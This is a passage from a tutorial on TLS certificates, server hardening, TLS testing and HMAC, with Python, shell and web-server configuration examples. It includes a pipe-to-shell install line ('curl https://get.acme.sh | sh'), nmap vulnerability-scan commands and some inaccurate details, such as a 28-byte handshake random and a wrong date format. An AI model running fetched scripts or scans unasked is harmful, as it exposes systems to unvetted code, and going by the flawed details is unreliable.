            return False, f"Issuer mismatch at level {i}"

        # Verify signature
        try:
            issuer_public_key = issuer_cert.public_key()
            issuer_public_key.verify(
                cert.signature,
                cert.tbs_certificate_bytes,
                padding.PKCS1v15(),
                cert.signature_hash_algorithm,
            )
        except InvalidSignature:
            return False, f"Invalid signature at level {i}"

        # Verify validity period
        import datetime
        now = datetime.datetime.utcnow()
        if now < cert.not_valid_before or now > cert.not_valid_after:
            return False, f"Certificate expired or not yet valid at level {i}"

    return True, "Chain verified successfully"

# Load certificates
certs = []
for cert_file in ['server.crt', 'intermediate.crt', 'root.crt']:
    with open(cert_file, 'rb') as f:
        cert = x509.load_pem_x509_certificate(f.read())
        certs.append(cert)

# Verify chain
is_valid, message = verify_certificate_chain(certs)
print(message)

1. Client requests certificate for example.com

2. Let's Encrypt challenges ownership:
   - HTTP-01: Place file at http://example.com/.well-known/acme-challenge/
   - DNS-01: Add TXT record to _acme-challenge.example.com
   - TLS-ALPN-01: Configure TLS server with special certificate

3. Let's Encrypt verifies challenge

4. If successful, issues certificate

5. Client installs certificate

6. Automated renewal before 90-day expiration

# Install certbot
sudo apt-get install certbot

# Obtain certificate (standalone)
sudo certbot certonly --standalone -d example.com -d www.example.com

# Obtain certificate (webroot - site already running)
sudo certbot certonly --webroot -w /var/www/html -d example.com

# Obtain certificate (DNS challenge)
sudo certbot certonly --manual --preferred-challenges dns -d example.com

# Obtain certificate (with automatic nginx configuration)
sudo certbot --nginx -d example.com -d www.example.com

# Obtain certificate (with automatic apache configuration)
sudo certbot --apache -d example.com

# List certificates
sudo certbot certificates

# Renew certificates (dry run)
sudo certbot renew --dry-run

# Renew certificates
sudo certbot renew

# Revoke certificate
sudo certbot revoke --cert-path /etc/letsencrypt/live/example.com/cert.pem

# Delete certificate
sudo certbot delete --cert-name example.com

# Add to crontab (check renewal twice daily)
0 0,12 * * * certbot renew --quiet

# Systemd timer (if using systemd)
sudo systemctl enable certbot-renew.timer
sudo systemctl start certbot-renew.timer

# Test renewal
sudo certbot renew --dry-run

# Install acme.sh
curl https://get.acme.sh | sh

# Issue certificate (HTTP validation)
acme.sh --issue -d example.com -w /var/www/html

# Issue certificate (DNS validation with Cloudflare)
export CF_Key="your-cloudflare-api-key"
export CF_Email="your@email.com"
acme.sh --issue --dns dns_cf -d example.com -d *.example.com

# Install certificate
acme.sh --install-cert -d example.com \
  --key-file /etc/nginx/ssl/example.com.key \
  --fullchain-file /etc/nginx/ssl/example.com.crt \
  --reloadcmd "systemctl reload nginx"

# Renew all certificates
acme.sh --renew-all

# Force renew
acme.sh --renew -d example.com --force

# View certificate details
openssl x509 -in cert.pem -text -noout

# View certificate dates
openssl x509 -in cert.pem -noout -dates

# View certificate subject
openssl x509 -in cert.pem -noout -subject

# View certificate issuer
openssl x509 -in cert.pem -noout -issuer

# View certificate fingerprint
openssl x509 -in cert.pem -noout -fingerprint -sha256

# Check certificate and key match
openssl x509 -noout -modulus -in cert.pem | openssl md5
openssl rsa -noout -modulus -in key.pem | openssl md5
# If md5 hashes match, cert and key are paired

# View certificate from server
openssl s_client -connect example.com:443 -showcerts

# Check certificate expiration
echo | openssl s_client -connect example.com:443 2>/dev/null | \
  openssl x509 -noout -dates

from cryptography import x509
from cryptography.hazmat.primitives import serialization
import datetime

def inspect_certificate(cert_path):
    with open(cert_path, 'rb') as f:
        cert = x509.load_pem_x509_certificate(f.read())

    print("Certificate Information:")
    print(f"Subject: {cert.subject.rfc4514_string()}")
    print(f"Issuer: {cert.issuer.rfc4514_string()}")
    print(f"Serial Number: {cert.serial_number}")
    print(f"Not Valid Before: {cert.not_valid_before}")
    print(f"Not Valid After: {cert.not_valid_after}")
    print(f"Signature Algorithm: {cert.signature_algorithm_oid._name}")

    # Check if expired
    now = datetime.datetime.utcnow()
    days_until_expiry = (cert.not_valid_after - now).days

    if now > cert.not_valid_after:
        print("⚠ Certificate EXPIRED!")
    elif days_until_expiry < 30:
        print(f"⚠ Certificate expires soon ({days_until_expiry} days)")
    else:
        print(f"✓ Certificate valid ({days_until_expiry} days remaining)")

    # Subject Alternative Names
    try:
        san_ext = cert.extensions.get_extension_for_oid(
            x509.oid.ExtensionOID.SUBJECT_ALTERNATIVE_NAME
        )
        print(f"SANs: {', '.join([dns.value for dns in san_ext.value])}")
    except x509.ExtensionNotFound:
        print("No SANs found")

    return cert

# Usage
cert = inspect_certificate('cert.pem')

import ssl
import socket
from datetime import datetime

def check_certificate_expiry(hostname, port=443):
    """Check SSL certificate expiration"""
    context = ssl.create_default_context()

    with socket.create_connection((hostname, port)) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            cert = ssock.getpeercert()

            # Parse expiration date
            expires = datetime.strptime(
                cert['notAfter'],
                '%b %d %H:%M:%S %Y %GMT'
            )

            days_remaining = (expires - datetime.now()).days

            print(f"Certificate for {hostname}:")
            print(f"  Subject: {dict(x[0] for x in cert['subject'])['commonName']}")
            print(f"  Issuer: {dict(x[0] for x in cert['issuer'])['commonName']}")
            print(f"  Expires: {expires}")
            print(f"  Days remaining: {days_remaining}")

            if days_remaining < 0:
                print("  ⚠ EXPIRED!")
            elif days_remaining < 30:
                print("  ⚠ Expiring soon!")
            else:
                print("  ✓ Valid")

            return days_remaining

# Check multiple sites
sites = ['google.com', 'github.com', 'example.com']
for site in sites:
    try:
        check_certificate_expiry(site)
        print()
    except Exception as e:
        print(f"Error checking {site}: {e}\n")

#!/bin/bash
# certificate-renewal.sh

# Check certificate expiration
check_expiry() {
    local domain=$1
    local days_until_expiry=$(echo | openssl s_client -connect $domain:443 2>/dev/null | \
        openssl x509 -noout -checkend 2592000)  # 30 days

    if [ $? -eq 0 ]; then
        echo "$domain: Certificate valid for at least 30 days"
        return 0
    else
        echo "$domain: Certificate expires within 30 days!"
        return 1
    fi
}

# Renew if needed
renew_certificate() {
    local domain=$1

    if ! check_expiry $domain; then
        echo "Renewing certificate for $domain..."
        certbot renew --cert-name $domain

        if [ $? -eq 0 ]; then
            echo "Certificate renewed successfully"
            systemctl reload nginx
        else
            echo "Certificate renewal failed!"
            # Send alert
        fi
    fi
}

# Check all domains
for domain in example.com api.example.com www.example.com; do
    renew_certificate $domain
done

# Download CRL
wget http://crl.example.com/example.crl

# View CRL
openssl crl -in example.crl -text -noout

# Check if certificate is revoked
openssl verify -crl_check -CRLfile example.crl -CAfile ca.crt cert.pem

# Get OCSP responder URL from certificate
openssl x509 -in cert.pem -noout -ocsp_uri

# Check certificate status via OCSP
openssl ocsp -issuer ca.crt -cert cert.pem \
  -url http://ocsp.example.com \
  -resp_text

# OCSP stapling check
openssl s_client -connect example.com:443 -status

# Revoke with certbot
sudo certbot revoke --cert-path /etc/letsencrypt/live/example.com/cert.pem

# Revoke with reason
sudo certbot revoke --cert-path cert.pem --reason keycompromise

# Revoke with custom CA
openssl ca -config ca.conf -revoke cert.pem -keyfile ca.key -cert ca.crt

# Generate CRL
openssl ca -config ca.conf -gencrl -out crl.pem

RSA:
  Minimum: 2048 bits
  Recommended: 3072-4096 bits

ECDSA:
  Recommended: P-256 (256-bit)
  High security: P-384 (384-bit)

Ed25519:
  Fixed: 256-bit (recommended for new deployments)

Modern best practices:
- Maximum: 398 days (13 months) - enforced by browsers
- Recommended: 90 days (Let's Encrypt default)
- Automated renewal: Essential for short validity

Historical:
- Before 2020: Up to 2-3 years
- 2020: 398 days maximum
- Trend: Shorter validity periods

# Include all domain variants
subjectAltName = DNS:example.com,DNS:www.example.com,DNS:*.example.com

# Don't rely on Common Name (CN) - deprecated
# Always use SANs

import ssl
import hashlib
import socket

def verify_certificate_pinning(hostname, expected_fingerprints):
    """Verify certificate matches expected fingerprint"""
    context = ssl.create_default_context()

    with socket.create_connection((hostname, 443)) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            cert_der = ssock.getpeercert(binary_form=True)
            fingerprint = hashlib.sha256(cert_der).hexdigest()

            if fingerprint in expected_fingerprints:
                print(f"✓ Certificate pinning verified")
                return True
            else:
                print(f"✗ Certificate pinning failed!")
                print(f"  Expected: {expected_fingerprints}")
                print(f"  Got: {fingerprint}")
                return False

# Usage
expected_pins = [
    'a1b2c3d4e5f6...',  # Primary certificate
    '9a8b7c6d5e4f...',  # Backup certificate
]

verify_certificate_pinning('example.com', expected_pins)

✓ Use Let's Encrypt for free certificates
✓ Automate renewal (certbot, acme.sh)
✓ Monitor expiration dates
✓ Test renewal process regularly
✓ Use short validity periods (90 days)

# Restrict permissions
chmod 600 private.key

# Use hardware security modules (HSM) for critical keys
# Use encrypted private keys
openssl rsa -aes256 -in private.key -out private_encrypted.key

# Never commit to version control
echo "*.key" >> .gitignore
echo "*.pem" >> .gitignore

✓ RSA 2048-bit minimum (prefer 3072+)
✓ ECDSA P-256 or better
✓ SHA-256 or SHA-512 for signatures
✗ Avoid MD5, SHA-1
✗ Avoid RSA <2048 bits

# Check if certificate is in CT logs
curl https://crt.sh/?q=example.com

# Monitor for unauthorized certificates
# Use tools like certstream, certificate-transparency-go

Problem: Certificate expires unexpectedly
Solution: Automate monitoring and renewal

Problem: Browser shows untrusted certificate
Solution: Include full chain (server + intermediate certs)

# Correct chain order
cat server.crt intermediate.crt > fullchain.pem

Problem: Certificate for wrong domain
Solution: Use proper SANs

# Include all domains
subjectAltName = DNS:example.com,DNS:www.example.com

Problem: Private key readable by all users
Solution: Restrict permissions

chmod 600 private.key
chown root:root private.key

Browser trusts → Root CA
Root CA trusts → Intermediate CA
Intermediate CA trusts → Website Certificate
Therefore, Browser trusts → Website!

Client                                Server

1. ClientHello              -------->
   - TLS version
   - Cipher suites
   - Random bytes
   - Extensions

                            <--------  2. ServerHello
                                          - Chosen cipher suite
                                          - Random bytes
                                          - Session ID

                                       3. Certificate
                                          - Server certificate chain

                                       4. ServerKeyExchange
                                          - Key exchange parameters

                                       5. ServerHelloDone

6. ClientKeyExchange        -------->
   - Pre-master secret (encrypted)

7. ChangeCipherSpec         -------->
   - Switch to encrypted communication

8. Finished                 -------->
   - Verification message (encrypted)

                            <--------  9. ChangeCipherSpec

                            <--------  10. Finished

11. Encrypted Application Data <---> Encrypted Application Data

Client → Server:

TLS Version: 1.2
Cipher Suites:
  - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
  - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
  - TLS_RSA_WITH_AES_128_CBC_SHA256
Random: [28 bytes client random]
Session ID: [empty for new session]
Extensions:
  - server_name: example.com
  - supported_groups: P-256, P-384
  - signature_algorithms: RSA-PSS-SHA256, ECDSA-SHA256

Server → Client:

TLS Version: 1.2
Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
Random: [28 bytes server random]
Session ID: [32 bytes for session resumption]
Extensions:
  - renegotiation_info
  - extended_master_secret

Server → Client:

Certificate Chain:
  1. Server certificate (example.com)
  2. Intermediate CA certificate
  [Root CA not sent - client has it]

Server → Client:

Curve: P-256
Public Key: [server's ephemeral ECDH public key]
Signature: [signed with server's private key]

Client → Server:

Pre-master Secret:
  [Encrypted with server's public key (RSA) OR
   Client's ephemeral ECDH public key (ECDHE)]

Both compute:

Master Secret = PRF(
  pre-master secret,
  "master secret",
  ClientHello.random + ServerHello.random
)

Then derive:
  - Client write MAC key
  - Server write MAC key
  - Client write encryption key
  - Server write encryption key
  - Client write IV
  - Server write IV

┌────────┐                           ┌────────┐
│ Client │                           │ Server │
└───┬────┘                           └───┬────┘
    │                                    │
    │ ClientHello                        │
    │ (ciphers, random, SNI)             │
    ├───────────────────────────────────>│
    │                                    │
    │                   ServerHello      │
    │              (chosen cipher, random)│
    │<───────────────────────────────────┤
    │                                    │
    │                 Certificate        │
    │         (server cert chain)        │
    │<───────────────────────────────────┤
    │                                    │
    │            ServerKeyExchange       │
    │        (DH params, signature)      │
    │<───────────────────────────────────┤
    │                                    │
    │            ServerHelloDone         │
    │<───────────────────────────────────┤
    │                                    │
    │ ClientKeyExchange                  │
    │ (pre-master secret)                │
    ├───────────────────────────────────>│
    │                                    │
    │ ChangeCipherSpec                   │
    ├───────────────────────────────────>│
    │                                    │
    │ Finished (encrypted)               │
    ├───────────────────────────────────>│
    │                                    │
    │            ChangeCipherSpec        │
    │<───────────────────────────────────┤
    │                                    │
    │         Finished (encrypted)       │
    │<───────────────────────────────────┤
    │                                    │
    │ Application Data (encrypted)       │
    │<──────────────────────────────────>│
    │                                    │

Client                                Server

1. ClientHello              -------->
   - Key share (DH)
   - Supported versions
   - Cipher suites

                            <--------  2. ServerHello
                                          - Key share (DH)
                                          - Chosen cipher

                                       {Certificate}*
                                       {CertificateVerify}*
                                       {Finished}
                                       [Application Data]

{Finished}                  -------->

[Application Data]          <------->  [Application Data]

* Encrypted with handshake traffic keys
[] Encrypted with application traffic keys

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
|   |     |   |    |       |   |
|   |     |   |    |       |   +-- MAC algorithm (SHA-256)
|   |     |   |    |       +------ AEAD mode (GCM)
|   |     |   |    +-------------- Encryption (AES-128)
|   |     |   +------------------- "WITH"
|   |     +----------------------- Authentication (RSA)
|   +----------------------------- Key exchange (ECDHE)
+--------------------------------- Protocol (TLS)

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384

TLS_RSA_WITH_RC4_128_SHA                    # RC4 broken
TLS_RSA_WITH_3DES_EDE_CBC_SHA               # 3DES weak
TLS_RSA_WITH_AES_128_CBC_SHA                # CBC mode, no forward secrecy
TLS_DHE_RSA_WITH_AES_128_CBC_SHA256         # CBC mode

RSA:     No forward secrecy (deprecated)
DHE:     Diffie-Hellman Ephemeral (slow)
ECDHE:   Elliptic Curve DHE (fast, forward secrecy) ✓

RSA:     RSA certificate
ECDSA:   Elliptic Curve certificate (smaller, faster)
DSA:     Digital Signature Algorithm (obsolete)

AES-128-GCM:      Fast, secure, hardware accelerated ✓
AES-256-GCM:      Higher security ✓
ChaCha20-Poly1305: Fast on mobile (no AES hardware) ✓
AES-CBC:          Vulnerable to padding oracles (avoid)
3DES:             Obsolete (avoid)
RC4:              Broken (never use)

SHA-256:  Secure ✓
SHA-384:  Secure ✓
SHA-1:    Weak (avoid)
MD5:      Broken (never use)

Note: AEAD modes (GCM, ChaCha20-Poly1305) don't need separate MAC

TLS_AES_128_GCM_SHA256
TLS_AES_256_GCM_SHA384
TLS_CHACHA20_POLY1305_SHA256
TLS_AES_128_CCM_SHA256
TLS_AES_128_CCM_8_SHA256

server {
    listen 443 ssl http2;
    server_name example.com;

    # Certificates
    ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem;

    # TLS versions
    ssl_protocols TLSv1.2 TLSv1.3;

    # Cipher suites (TLS 1.2)
    ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305';
    ssl_prefer_server_ciphers on;

    # DH parameters (for DHE cipher suites)
    ssl_dhparam /etc/nginx/dhparam.pem;

    # OCSP Stapling
    ssl_stapling on;
    ssl_stapling_verify on;
    ssl_trusted_certificate /etc/letsencrypt/live/example.com/chain.pem;

    # Session tickets
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;

    # HSTS (HTTP Strict Transport Security)
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    location / {
        root /var/www/html;
    }
}

# Redirect HTTP to HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

<VirtualHost *:443>
    ServerName example.com

    # Certificates
    SSLCertificateFile /etc/letsencrypt/live/example.com/cert.pem
    SSLCertificateKeyFile /etc/letsencrypt/live/example.com/privkey.pem
    SSLCertificateChainFile /etc/letsencrypt/live/example.com/chain.pem

    # TLS versions
    SSLProtocol -all +TLSv1.2 +TLSv1.3

    # Cipher suites
    SSLCipherSuite ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305
    SSLHonorCipherOrder on

    # OCSP Stapling
    SSLUseStapling on
    SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"

    # HSTS
    Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"

    DocumentRoot /var/www/html
</VirtualHost>

# Redirect HTTP to HTTPS
<VirtualHost *:80>
    ServerName example.com
    Redirect permanent / https://example.com/
</VirtualHost>

import http.server
import ssl

# Simple HTTPS server
server_address = ('0.0.0.0', 4443)
httpd = http.server.HTTPServer(server_address, http.server.SimpleHTTPRequestHandler)

# Create SSL context
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain('cert.pem', 'key.pem')

# Optional: Configure cipher suites
context.set_ciphers('ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS')

# Wrap socket with TLS
httpd.socket = context.wrap_socket(httpd.socket, server_side=True)

print("Server running on https://localhost:4443")
httpd.serve_forever()

import ssl
import socket

def https_request(hostname, path='/'):
    # Create SSL context
    context = ssl.create_default_context()

    # Optional: Verify certificate
    # context.check_hostname = True
    # context.verify_mode = ssl.CERT_REQUIRED

    # Optional: Pin certificate
    # context.load_verify_locations('ca-bundle.crt')

    # Connect
    with socket.create_connection((hostname, 443)) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            # Send HTTP request
            request = f"GET {path} HTTP/1.1\r\nHost: {hostname}\r\nConnection: close\r\n\r\n"
            ssock.send(request.encode())

            # Receive response
            response = b''
            while True:
                data = ssock.recv(4096)
                if not data:
                    break
                response += data

            return response.decode()

# Usage
response = https_request('example.com', '/')
print(response)

import requests

# Basic HTTPS request (verifies certificates by default)
response = requests.get('https://example.com')

# Disable certificate verification (not recommended!)
response = requests.get('https://example.com', verify=False)

# Use custom CA bundle
response = requests.get('https://example.com', verify='/path/to/ca-bundle.crt')

# Client certificate authentication
response = requests.get('https://example.com', 
                       cert=('client.crt', 'client.key'))

# Specify TLS version
import ssl
from requests.adapters import HTTPAdapter
from urllib3.util.ssl_ import create_urllib3_context

class TLSAdapter(HTTPAdapter):
    def init_poolmanager(self, *args, **kwargs):
        ctx = create_urllib3_context()
        ctx.minimum_version = ssl.TLSVersion.TLSv1_2
        ctx.maximum_version = ssl.TLSVersion.TLSv1_3
        kwargs['ssl_context'] = ctx
        return super().init_poolmanager(*args, **kwargs)

session = requests.Session()
session.mount('https://', TLSAdapter())
response = session.get('https://example.com')

# Connect to server and show TLS info
openssl s_client -connect example.com:443 -servername example.com

# Test specific TLS version
openssl s_client -connect example.com:443 -tls1_2
openssl s_client -connect example.com:443 -tls1_3

# Test if old protocols are disabled
openssl s_client -connect example.com:443 -ssl3  # Should fail
openssl s_client -connect example.com:443 -tls1  # Should fail
openssl s_client -connect example.com:443 -tls1_1  # Should fail

# Test specific cipher suite
openssl s_client -connect example.com:443 -cipher 'ECDHE-RSA-AES128-GCM-SHA256'

# Show certificate chain
openssl s_client -connect example.com:443 -showcerts

# Check OCSP stapling
openssl s_client -connect example.com:443 -status

# Check certificate expiration
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates

# Full connection info
openssl s_client -connect example.com:443 -servername example.com </dev/null | grep -E 'Protocol|Cipher'

# Scan TLS versions
nmap --script ssl-enum-ciphers -p 443 example.com

# Check for vulnerabilities
nmap --script ssl-* -p 443 example.com

# Install
git clone https://github.com/drwetter/testssl.sh.git
cd testssl.sh

# Run comprehensive test
./testssl.sh https://example.com

# Test specific features
./testssl.sh --protocols https://example.com
./testssl.sh --ciphers https://example.com
./testssl.sh --vulnerabilities https://example.com

# Online tool (web interface)
# https://www.ssllabs.com/ssltest/

# API
curl "https://api.ssllabs.com/api/v3/analyze?host=example.com"

import ssl
import socket

def test_tls_version(hostname, port=443):
    """Test TLS versions supported by server"""
    versions = {
        'TLS 1.0': ssl.PROTOCOL_TLSv1,
        'TLS 1.1': ssl.PROTOCOL_TLSv1_1,
        'TLS 1.2': ssl.PROTOCOL_TLSv1_2,
        'TLS 1.3': ssl.PROTOCOL_TLS,  # Tries highest available
    }

    for version_name, protocol in versions.items():
        try:
            context = ssl.SSLContext(protocol)
            with socket.create_connection((hostname, port), timeout=5) as sock:
                with context.wrap_socket(sock, server_hostname=hostname) as ssock:
                    print(f"✓ {version_name}: Supported (cipher: {ssock.cipher()[0]})")
        except Exception as e:
            print(f"✗ {version_name}: Not supported")

def get_certificate_info(hostname, port=443):
    """Get server certificate information"""
    context = ssl.create_default_context()

    with socket.create_connection((hostname, port)) as sock:
        with context.wrap_socket(sock, server_hostname=hostname) as ssock:
            cert = ssock.getpeercert()

            print(f"Subject: {dict(x[0] for x in cert['subject'])}")
            print(f"Issuer: {dict(x[0] for x in cert['issuer'])}")
            print(f"Version: {cert['version']}")
            print(f"Serial: {cert['serialNumber']}")
            print(f"Not Before: {cert['notBefore']}")
            print(f"Not After: {cert['notAfter']}")
            print(f"SANs: {', '.join([x[1] for x in cert.get('subjectAltName', [])])}")
            print(f"TLS Version: {ssock.version()}")
            print(f"Cipher: {ssock.cipher()}")

# Usage
test_tls_version('example.com')
print()
get_certificate_info('example.com')

# Disable SSL 3.0
ssl_protocols TLSv1.2 TLSv1.3;

# Disable TLS 1.0, use modern cipher suites
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:...';

# Disable TLS compression (usually disabled by default)
ssl_compression off;

# Update OpenSSL
sudo apt-get update
sudo apt-get upgrade openssl

# Check version (must be > 1.0.1g)
openssl version

# Generate strong DH parameters
openssl dhparam -out /etc/nginx/dhparam.pem 2048

# Configure nginx
ssl_dhparam /etc/nginx/dhparam.pem;

# Disable export ciphers
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:...';  # No EXPORT

# Ensure SSLv2 is disabled everywhere
# Check with:
nmap --script ssl-enum-ciphers -p 443 example.com

# Using testssl.sh
./testssl.sh --vulnerabilities https://example.com

# Using nmap
nmap --script ssl-heartbleed,ssl-poodle,ssl-dh-params -p 443 example.com

# ✓ GOOD - Only modern protocols
ssl_protocols TLSv1.2 TLSv1.3;

# ✗ BAD - Includes old protocols
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;

# ✓ GOOD - Strong, forward-secret ciphers
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-CHACHA20-POLY1305';

# ✗ BAD - Includes weak ciphers
ssl_ciphers 'ALL:!aNULL:!MD5';

# ✓ Use certificates from trusted CA (Let's Encrypt)
# ✓ Automate renewal
# ✓ Monitor expiration
# ✓ Include full certificate chain
# ✗ Don't use self-signed in production
# ✗ Don't let certificates expire

# Enforce HTTPS for all subdomains
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

# Enable OCSP stapling for faster certificate validation
ssl_stapling on;
ssl_stapling_verify on;
ssl_trusted_certificate /path/to/chain.pem;

# Session resumption (performance)
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:50m;

# Disable session tickets (forward secrecy)
ssl_session_tickets off;

Use ECDHE or DHE key exchange:
- ECDHE: Fast, modern
- DHE: Slower, but compatible

Avoid RSA key exchange (no forward secrecy)

# Keep OpenSSL updated
sudo apt-get update
sudo apt-get upgrade openssl libssl-dev

# Keep web server updated
sudo apt-get upgrade nginx  # or apache2

# Regular security scans
./testssl.sh https://example.com

# Monitor certificate expiration
curl https://crt.sh/?q=example.com

# Check SSL Labs rating
curl "https://api.ssllabs.com/api/v3/analyze?host=example.com"

Certificate:
  [✓] Valid and not expired
  [✓] From trusted CA
  [✓] Matches domain name
  [✓] Includes full chain
  [✓] Strong key (RSA 2048+ or ECDSA P-256+)

Protocol:
  [✓] TLS 1.2 minimum
  [✓] TLS 1.3 enabled
  [✓] SSL 3.0 disabled
  [✓] TLS 1.0/1.1 disabled

Cipher Suites:
  [✓] Only strong ciphers
  [✓] Forward secrecy (ECDHE)
  [✓] AEAD modes (GCM, ChaCha20-Poly1305)
  [✓] No weak ciphers (RC4, 3DES, etc.)

Headers:
  [✓] HSTS enabled
  [✓] Secure cookie flags

Features:
  [✓] OCSP stapling enabled
  [✓] Session tickets disabled
  [✓] HTTP → HTTPS redirect

Vulnerabilities:
  [✓] Not vulnerable to POODLE
  [✓] Not vulnerable to BEAST
  [✓] Not vulnerable to Heartbleed
  [✓] Not vulnerable to Logjam
  [✓] Not vulnerable to FREAK
  [✓] Not vulnerable to DROWN

<!-- BAD - Loading HTTP resource on HTTPS page -->
<script src="http://example.com/script.js"></script>

<!-- GOOD - Use HTTPS -->
<script src="https://example.com/script.js"></script>

<!-- BETTER - Protocol-relative URL -->
<script src="//example.com/script.js"></script>

# BAD - Allows weak ciphers
ssl_ciphers 'ALL:!aNULL:!MD5';

# GOOD - Only strong ciphers
ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384';

# BAD - Only server certificate
ssl_certificate /path/to/cert.pem;

# GOOD - Full chain (server + intermediate)
ssl_certificate /path/to/fullchain.pem;

# Check expiration regularly
echo | openssl s_client -connect example.com:443 2>/dev/null | openssl x509 -noout -dates

# Automate renewal
certbot renew

# Missing HTTP → HTTPS redirect leaves users vulnerable

# GOOD - Redirect all HTTP to HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

You: "My password is abc123"
  ↓ (anyone can read this!)
Server: "OK, logged in"

Step 1: Build a secure tunnel
  You: "Let's talk securely!"
  Server: "Here's my ID card" (certificate)
  You: "OK, I trust you"
  Both: [Create secret code together]

Step 2: Talk through tunnel
  You: "xf9#k2@..." (encrypted password)
  ↓ (looks like gibberish to bad guys!)
  Server: "p8#nz..." (encrypted response)

HMAC(K, m) = H((K' ⊕ opad) || H((K' ⊕ ipad) || m))

1. If key is longer than block size, hash it
2. If key is shorter than block size, pad with zeros
3. XOR key with inner padding (ipad)
4. Append message to result
5. Hash the result (inner hash)
6. XOR key with outer padding (opad)
7. Append inner hash to result
8. Hash the result (outer hash) = HMAC

        Secret Key
             |
      +------+------+
      |             |
    XOR ipad     XOR opad
      |             |
      + Message     |
      |             |
   Hash (inner)     |
      |             |
      +-------------+
            |
         Hash (outer)
            |
          HMAC

# VULNERABLE 1: Simple concatenation
tag = sha256(key + message)
# Vulnerable to length extension attacks!

# VULNERABLE 2: Wrong order
tag = sha256(message + key)
# Attacker can append data!

# SECURE: Use HMAC
tag = hmac.new(key, message, sha256).digest()

# With SHA-256 concatenation (VULNERABLE)
original = sha256(key + message)
# Attacker can compute: sha256(key + message + attacker_data)
# WITHOUT knowing the key!

# With HMAC (SECURE)
original = hmac(key, message)
# Attacker CANNOT extend the message without knowing the key

import hmac
import hashlib

# Create HMAC
key = b"secret-key-12345"
message = b"Important message"

# HMAC-SHA256
mac = hmac.new(key, message, hashlib.sha256)
tag = mac.hexdigest()
print(f"HMAC-SHA256: {tag}")

# HMAC-SHA512
mac = hmac.new(key, message, hashlib.sha512)
tag = mac.hexdigest()
print(f"HMAC-SHA512: {tag}")

# Digest as bytes
tag_bytes = hmac.new(key, message, hashlib.sha256).digest()
print(f"HMAC (bytes): {tag_bytes}")

import hmac
import hashlib

def create_hmac(key, message):
    return hmac.new(key, message, hashlib.sha256).digest()

def verify_hmac(key, message, received_tag):
    expected_tag = hmac.new(key, message, hashlib.sha256).digest()
    # Use constant-time comparison to prevent timing attacks
    return hmac.compare_digest(expected_tag, received_tag)

# Usage
key = b"secret-key"
message = b"Transfer $100 to Alice"

# Create tag
tag = create_hmac(key, message)
print(f"Tag: {tag.hex()}")

# Verify tag (correct)
if verify_hmac(key, message, tag):
    print("Message is authentic!")

# Verify tag (tampered message)
tampered = b"Transfer $999 to Alice"
if not verify_hmac(key, tampered, tag):
    print("Message has been tampered with!")

import hmac
import hashlib

# For large messages
mac = hmac.new(b"secret-key", digestmod=hashlib.sha256)

# Update incrementally
mac.update(b"Part 1 of message ")
mac.update(b"Part 2 of message ")
mac.update(b"Part 3 of message")

tag = mac.hexdigest()
print(f"Incremental HMAC: {tag}")

# Equivalent to
mac_full = hmac.new(b"secret-key", 
                    b"Part 1 of message Part 2 of message Part 3 of message",
                    hashlib.sha256)
print(f"Full HMAC: {mac_full.hexdigest()}")

# Generate HMAC-SHA256
echo -n "Important message" | openssl dgst -sha256 -hmac "secret-key"

# HMAC-SHA512
echo -n "Important message" | openssl dgst -sha512 -hmac "secret-key"

# HMAC of a file
openssl dgst -sha256 -hmac "secret-key" document.pdf

# Output in different formats
echo -n "message" | openssl dgst -sha256 -hmac "key" -hex
echo -n "message" | openssl dgst -sha256 -hmac "key" -binary | base64

const crypto = require('crypto');

// Create HMAC
const key = 'secret-key-12345';
const message = 'Important message';

const hmac = crypto.createHmac('sha256', key);
hmac.update(message);
const tag = hmac.digest('hex');

console.log(`HMAC-SHA256: ${tag}`);

// Verify HMAC
function verifyHMAC(key, message, receivedTag) {
    const expectedTag = crypto.createHmac('sha256', key)
                             .update(message)
                             .digest('hex');

    // Constant-time comparison
    return crypto.timingSafeEqual(
        Buffer.from(expectedTag, 'hex'),
        Buffer.from(receivedTag, 'hex')
    );
}

import hmac
import hashlib
import json

class AuthenticatedMessage:
    def __init__(self, shared_key):
        self.key = shared_key

    def send(self, message):
        # Create HMAC tag
